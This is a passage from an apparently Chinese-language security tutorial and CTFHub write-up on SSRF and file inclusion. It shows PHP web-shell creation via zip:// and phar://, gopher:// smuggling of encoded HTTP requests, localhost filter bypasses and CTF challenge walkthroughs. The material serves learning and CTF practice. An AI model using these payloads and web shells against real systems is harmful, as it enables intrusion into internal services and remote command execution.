class=\"line\"><span>http://ZLARYY.com/?url=data://text/plain,&#x3C;?php phpinfo();?></span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://ZLARYY.com/?url=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+</span></span></code></pre>\n</li>\n<li>\n<p>zip:// 压缩包包含</p>\n<p>zip协议可以访问zip压缩包里的文件，zip协议的使用要注意只能够使用绝对路径，而不能使用相对路径。</p>\n<p>其基本语法如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>zip://压缩文件路径#压缩包内文件名</span></span></code></pre>\n<p>zip协议一个很大的作用在于我们可以将防护较为严格的文件上传漏洞和文件包含漏洞结合起来，最终获得远程命令执行权限。即上传含有PHP木马的zip压缩包，这样可以使用zip的文件后缀以绕过文件上传漏洞对文件后缀名的限制，然后再利用文件包含漏洞执行这一PHP木马。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 创建恶意压缩包</span></span>\n<span class=\"line\"><span>echo '&#x3C;?php system($_GET[\"cmd\"]); ?>' > shell.php</span></span>\n<span class=\"line\"><span>zip shell.zip shell.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 通过LFI包含压缩包中的文件</span></span>\n<span class=\"line\"><span>http://ZLARYY.com/?url=zip:///var/www/uploads/shell.zip%23shell.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 执行命令</span></span>\n<span class=\"line\"><span>http://ZLARYY.com/?urrl=zip:///var/www/uploads/shell.zip%23shell.php&#x26;cmd=ls</span></span></code></pre>\n</li>\n<li>\n<p>phar://</p>\n<p>这个就是php解压缩包的一个函数，不管后缀是什么，都会当做压缩包来解压，基本语法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>phar://压缩包路径/压缩包内部文件名</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 创建Phar包</span></span>\n<span class=\"line\"><span>echo '&#x3C;?php system($_GET[\"cmd\"]); ?>' > shell.php</span></span>\n<span class=\"line\"><span>zip shell.phar shell.php</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 通过LFI包含</span></span>\n<span class=\"line\"><span>http://ZLARYY.com/?url=phar://upload/shell.phar/shell.php&#x26;cmd=ls</span></span></code></pre>\n<p><strong>注：在某些文件上传题目中也可以利用该伪协议进行文件读取，可以上传一个将后缀名修改为.png的压缩包，利用 phar://协议不管后缀是什么都会当做压缩包来解压的特性</strong></p>\n</li>\n<li>\n<p><strong>Gopher</strong></p>\n<p>gopher协议是一个古老且强大的协议，可以理解为是http协议的前身，他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache，也可以进行 GET、POST 请求。很多时候在SSRF下，我们无法通过HTTP协议来传递POST数据，这时候就需要用到gopher协议来发起POST请求了。</p>\n<ul>\n<li><strong>特点</strong>： 简单、无状态、基于 TCP。</li>\n<li><strong>工作方式</strong>： 客户端向服务器发起一个 TCP 连接（默认端口 70），发送一个字符串（选择器，selector），然后服务器返回相应的文本信息并关闭连接。</li>\n<li><strong>常用于攻击内网服务</strong>： 许多内网服务（如 Redis）没有密码认证或使用弱密码，并且因为它们在内网，通常缺乏严格的输入过滤。通过 SSRF 结合 Gopher 协议，攻击者可以直接与这些服务交互，执行命令。</li>\n</ul>\n<p>基本语法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>gopher://&#x3C;host>:&#x3C;port>/_&#x3C;TCP数据流></span></span></code></pre>\n<p><strong>关键点</strong>：</p>\n<ul>\n<li><code>_</code>（下划线）： 后面跟随的数据会被直接发送到目标服务器的 TCP 端口。</li>\n<li><strong>数据流需要经过 URL 编码</strong> ： 因为 URL 本身有特殊字符（如 <code>%</code>, <code>#</code>, <code>?</code>），所以原始数据需要被编码，尤其是换行符 <code>\\r\\n</code> 需要被编码为 <code>%0D%0A</code>。</li>\n<li><strong>第一个字符</strong> ： 在数据流中，第一个发送的字符会被忽略（通常是用于表示类型的字符，在传统 Gopher 中已不再需要），所以通常我们会用一个无关字符（如 <code>_</code>）或空格（编码为 <code>%20</code>）来占位。</li>\n</ul>\n</li>\n</ol>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/gopher.png\" class=\"\" title=\"gopher\"></p>\n<p>可以看到传输符号类内容必须经过URL编码</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>注意不要忘记后面那个下划线\"_\"，下划线\"_\"后面才开始接TCP数据流，如果不加这个\"_\"，那么服务端收到的消息将不是完整的，该字符可随意写。</span></span>\n<span class=\"line\"><span> gopher的默认端口是70</span></span>\n<span class=\"line\"><span>如果发起POST请求，回车换行需要使用`%0d%0a`来代替`%0a`，如果多个参数，参数之间的&#x26;也需要进行URL编码</span></span></code></pre>\n<p>Gopher协议发送http <strong>GET</strong>请求：</p>\n<p>我首先用flask框架搭建了一个简单的可访问内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>from flask import Flask,request</span></span>\n<span class=\"line\"><span>app = Flask(__name__)</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>@app.route('/login',methods = ['GET'])</span></span>\n<span class=\"line\"><span>def login():</span></span>\n<span class=\"line\"><span>    user = request.args.get('nm')</span></span>\n<span class=\"line\"><span>    return 'success,%s' % user</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>if __name__ == '__main__':</span></span>\n<span class=\"line\"><span>    app.run(host='0.0.0.0',port=5000,debug=False)</span></span></code></pre>\n<p>这样我在抓包的时候就能看到这样一个内容：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/flask.png\" class=\"\" title=\"flask\"></p>\n<p>GET型http数据包为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GET /login?nm=ZLARYY HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: 192.168.1.40:5000</span></span></code></pre>\n<p>我们将他URL编码之后变成：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30</span></span></code></pre>\n<p>然后我们手动添加上%0d%0a（这个的目的是表示http请求结束）：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a</span></span></code></pre>\n<p>最后我们试着用gopher协议发送</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>curl gopher://192.168.1.40:5000/_%47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/gopher2.png\" class=\"\" title=\"gopher2\"></p>\n<p>可以看到最后成功显示了success,ZLARYY，说明我们的GET请求发送成功</p>\n<p>Gopher协议发送http <strong>POST</strong>请求：</p>\n<p>同样的，简单修改了一下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>from flask import Flask,request</span></span>\n<span class=\"line\"><span>app = Flask(__name__)</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>@app.route('/login',methods = ['POST'])</span></span>\n<span class=\"line\"><span>def login():</span></span>\n<span class=\"line\"><span>    user = request.form['nm']</span></span>\n<span class=\"line\"><span>    return 'success,%s' % user</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>if __name__ == '__main__':</span></span>\n<span class=\"line\"><span>    app.run(host='0.0.0.0',port=5000,debug=False)</span></span></code></pre>\n<p>抓包之后有如下内容：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/post.png\" class=\"\" title=\"post\"></p>\n<p>在使用gopher协议传递POST请求时，需包含如下内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST /login HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: 192.168.1.40:5000</span></span>\n<span class=\"line\"><span>Content-Type: application/x-www-form-urlencoded</span></span>\n<span class=\"line\"><span>Content-Length: 9</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>nm=ZLARYY</span></span></code></pre>\n<p>最后一个是post传参内容，我们将其URL编码</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59</span></span></code></pre>\n<p>最后再加上%0d%0a在末尾</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a</span></span></code></pre>\n<p>接下来我们试着用gopher协议发送</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/post2.png\" class=\"\" title=\"post2\"></p>\n<p>成功了，这里提几个注意点：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>POST /login HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: 192.168.1.40:5000</span></span>\n<span class=\"line\"><span>Content-Type: application/x-www-form-urlencoded</span></span>\n<span class=\"line\"><span>Content-Length: 9</span></span>\n<span class=\"line\"><span>/*Content-Length与POST传参内容之间必须有一行间隔，其次POST、Host、Content-Type和Content-Length缺一不可*/</span></span>\n<span class=\"line\"><span>nm=ZLARYY</span></span></code></pre>\n<p>还有一个在做实验的时候发现的有意思的东西：</p>\n<p>经过我URL编码之后的内容，可以无需将所有的%0a替换为%0d%0a，只需要在末尾加上%0d%0a就行；可以先加上%0d%0a再将所有的%0a替换为%0d%0a，也可以先将%0a全部替换为%0d%0a之后再加上%0d%0a</p>\n<p>就拿上一个发送POST包来说：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>//URL直接编码结果</span></span>\n<span class=\"line\"><span>%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>//在末尾直接加上%0d%0a而不对其他内容做任何修改：</span></span>\n<span class=\"line\"><span>%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/suc.png\" class=\"\" title=\"suc\"></p>\n<p>成功拿到响应</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>//URL编码之后先进行一次将%0a全部替换为%0d%0a的操作</span></span>\n<span class=\"line\"><span>%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0d%0a%0d%0a%6e%6d%3d%5a%4c%41%52%59%59</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>//再在末尾添加上%0d%0a</span></span>\n<span class=\"line\"><span>%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0d%0a%0d%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/suc2.png\" class=\"\" title=\"suc2\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>//URL编码之后直接在末尾加上%0d%0a</span></span>\n<span class=\"line\"><span>%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>//再进行一次替换</span></span>\n<span class=\"line\"><span>%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0d%0a%0d%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0d%0a</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/suc3.png\" class=\"\" title=\"suc3\"></p>\n<p>都是可行的</p>\n<h2 id=\"绕过手法\"><a class=\"anchor\" href=\"#绕过手法\">#</a> 绕过手法</h2>\n<ol>\n<li>\n<p>如果过滤掉了localhost和127.0.0.1，可以采用如下绕过手法：</p>\n<ul>\n<li>\n<p>**302跳转：**网络上存在一个名为<code>sudo.cc</code>的服务，放访问这个服务时，会自动重定向到<code>127.0.0.1</code></p>\n</li>\n<li>\n<p>**特殊数字：**例如②，可以使用1②7.0.0.1</p>\n</li>\n<li>\n<p>**。代替.绕过：**127。0。0。1</p>\n</li>\n<li>\n<p>**省略0：**使用127.1代替127.0.0.1</p>\n</li>\n<li>\n<p>**进制转换 ：**采用127.0.0.1的其他进制形式</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>0177.0.0.1 //八进制</span></span>\n<span class=\"line\"><span>0x7f.0.0.1 //十六进制</span></span>\n<span class=\"line\"><span>2130706433 //十进制</span></span></code></pre>\n</li>\n<li>\n<p>**特殊0：**在windows中，0代表<code>0.0.0.0</code>，而在linux下，0代表<code>127.0.0.1</code>，如下所示：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?url=http://0/flag.php</span></span></code></pre>\n</li>\n<li>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://localhost/         # localhost就是代指127.0.0.1  </span></span>\n<span class=\"line\"><span>http://0/                 # 0在window下代表0.0.0.0，而在liunx下代表127.0.0.1  </span></span>\n<span class=\"line\"><span>http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用，window测试了下不行  </span></span>\n<span class=\"line\"><span>http://[::]:80/           # 在liunx下可用，window测试了下不行  </span></span>\n<span class=\"line\"><span>http://127。0。0。1/       # 用中文句号绕过  </span></span>\n<span class=\"line\"><span>http://①②⑦.⓪.⓪.①  </span></span>\n<span class=\"line\"><span>http://127.1/  </span></span>\n<span class=\"line\"><span>http://127.00000.00000.001/ # 0的数量多一点少一点都没影响，最后还是会指向127.0.0.1</span></span></code></pre>\n<p>from：<a href=\"https://blog.csdn.net/Reme_mber/article/details/125581479\">从一文中了解SSRF的各种绕过姿势及攻击思路_ssrf绕过-CSDN博客</a></p>\n<p><a href=\"https://xiexie-qiuligao.github.io/2026/01/14/SSRF%20and%20CSRF/\">https://xiexie-qiuligao.github.io/2026/01/14/SSRF and CSRF/</a></p>\n</li>\n</ul>\n</li>\n<li>\n<p>如果题目要求必须以（eg：<a href=\"http://ZLARYY.com\">ZLARYY.com</a>）开头，可以采用@绕过 ：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?url=http://ZLARYY.com@127.0.0.1/flag.php</span></span></code></pre>\n</li>\n<li>\n<p>如果题目要求必须包含（eg：<a href=\"http://ZLARYY.com\">ZLARYY.com</a>），并且不限制协议，可以采用php://filter过滤器绕过：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?url=php://filter/ZLARYY.com/resource=/flag.php</span></span></code></pre>\n</li>\n</ol>\n<h2 id=\"ctfhub上的ssrf题目\"><a class=\"anchor\" href=\"#ctfhub上的ssrf题目\">#</a> CTFHub上的SSRF题目：</h2>\n<h3 id=\"内网访问\"><a class=\"anchor\" href=\"#内网访问\">#</a> 内网访问：</h3>\n<p>访问给的连接发现他直接在URL上加上了/?url=_</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://challenge-7c6228e818330f28.sandbox.ctfhub.com:10800/?url=_</span></span></code></pre>\n<p>结合给的提示：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>尝试访问位于127.0.0.1的flag.php吧</span></span></code></pre>\n<p>应该是希望我们利用SSRF探测内网</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/1-1.png\" class=\"\" title=\"1-1\"></p>\n<p>成功拿到flag</p>\n<h3 id=\"伪协议读取文件\"><a class=\"anchor\" href=\"#伪协议读取文件\">#</a> 伪协议读取文件：</h3>\n<p>本题直接访问与上一题一样，只不过提示变成了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>尝试去读取一下Web目录下的flag.php吧</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/2-1.png\" class=\"\" title=\"2-1\"></p>\n<p>这里我们直接访问行不通，看来是过滤了http，https协议，我们试着用file协议读取</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/2-2.png\" class=\"\" title=\"2-2\"></p>\n<p>这里的Web目录其实就是/var/www/html的意思，可惜这道题貌似不能用php://filter读取</p>\n<h3 id=\"端口扫描\"><a class=\"anchor\" href=\"#端口扫描\">#</a> 端口扫描：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,</span></span></code></pre>\n<p>这提示我们去爆破试试</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/3-1.png\" class=\"\" title=\"3-1\"></p>\n<p>Payload Type我们选择Numbers，From 8000 to 9000</p>\n<p><img loading=\"lazy\" src=\"/2026/02/12/SSRF/3-2.png\" class=\"\" title=\"3-2\"></p>\n<p>最后按长度排序就能找到响应与其他不同的端口了</p>\n<h3 id=\"post请求\"><a class=\"anchor\" href=\"#post请求\">#</a> POST请求：</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年</span></span></code></pre>\n<p>我们 传入/?url=<a href=\"http://127.0.0.1/flag.php%E4%B9%8B%E5%90%8E%E6%89%93%E5%BC%80%E5%BC%80%E5%8F%91%E8%80%85%E5%B7%A5%E5%85%B7%E5%8F%AF%E4%BB%A5%E7%9C%8B%E5%88%B0\">http://127.0.0.1/flag.php之后打开开发者工具可以看到</a></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-html\"><span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">&#x3C;!-- Debug: key=49719164264cb75cf9f7de397bdbe95e--></span></span></code></pre>\n<p>当我们试着用伪协议读取/var/www/html/flag.php时，看到了这样一串代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">!--?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_SERVER</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">REMOTE_ADDR</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> !=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">127.0.0.1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Just View From 127.0.0.1</span><span 